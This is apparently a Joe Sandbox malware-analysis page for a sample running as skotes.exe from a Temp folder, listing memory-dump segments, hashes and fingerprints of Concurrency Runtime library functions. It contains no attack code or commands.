Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: a21e87af684a472f02b33d30800162f4b9eff442f799810196b92a4d9a98de7e
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5C01D632600554A7CF16EE958881AEFBBADDF44750F100455FD26AF2D2DA71EF01E6A0

Function 00BF9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00BF9519

Part of subcall function 00BEF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00BF5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00BF953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00BF9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00BF9559

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 73a0e23ed20315df7f9986902d5deac03f2d8780ebc438e3567620419cfa8963
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: F3F0E570600B245FEA72AB688812F7A23D4DF40715F00C49EE61BD72C2CF24F84ACB91

Function 00C0DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00C0DFE8

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2895844383
Opcode ID: 23ce5c275d4ad3b32947e265025ef0789d0347fa73929b283d1f42450b2fd165
Instruction ID: c4a268b77bffdf533ef66f97e109169aaa7b9af8f848d6f366f3d72e29ca67a3
Opcode Fuzzy Hash: 23ce5c275d4ad3b32947e265025ef0789d0347fa73929b283d1f42450b2fd165
Instruction Fuzzy Hash: 2121D171644219BFEB34AF659C80E6BB3ADEF003A8B144A15F928871D1E7B1ED00E760

Function 00C01704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00C01764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C017AF

Strings

pContext, xrefs: 00C017A7

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: f6b310bbb61523e7e9834c7787dd15418b72bbe68ea76a5205d2d414dd3064dd
Instruction ID: 3adbd5c57f580860ef9f2be40e250ebfc1a7c929c2e58e63e54566126a12bdd4
Opcode Fuzzy Hash: f6b310bbb61523e7e9834c7787dd15418b72bbe68ea76a5205d2d414dd3064dd
Instruction Fuzzy Hash: 1011D636A102149BCB15EF5CC48556DB7A9AF84760B194065ED12A73C2DB74DE05CBD0

Function 00BFB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00BFB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BFB961

Strings

pContext, xrefs: 00BFB959

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 527e707a7b099a4c64e3f6a495f419ddf2a1fdb87ee8c355832fd349507f032e
Instruction ID: bf3dee95e7f86127e7876e74af89315e7bd6c0dea9d74af709b6c94de75fba6f
Opcode Fuzzy Hash: 527e707a7b099a4c64e3f6a495f419ddf2a1fdb87ee8c355832fd349507f032e
Instruction Fuzzy Hash: B1E0D839B00218ABCB04F765E849D9DBBBD9EC47147144166EA11E3391EB74EA06CAD4

Function 00BF34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BF34FC

Strings

pScheduler, xrefs: 00BF34F4
version, xrefs: 00BF34E1

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
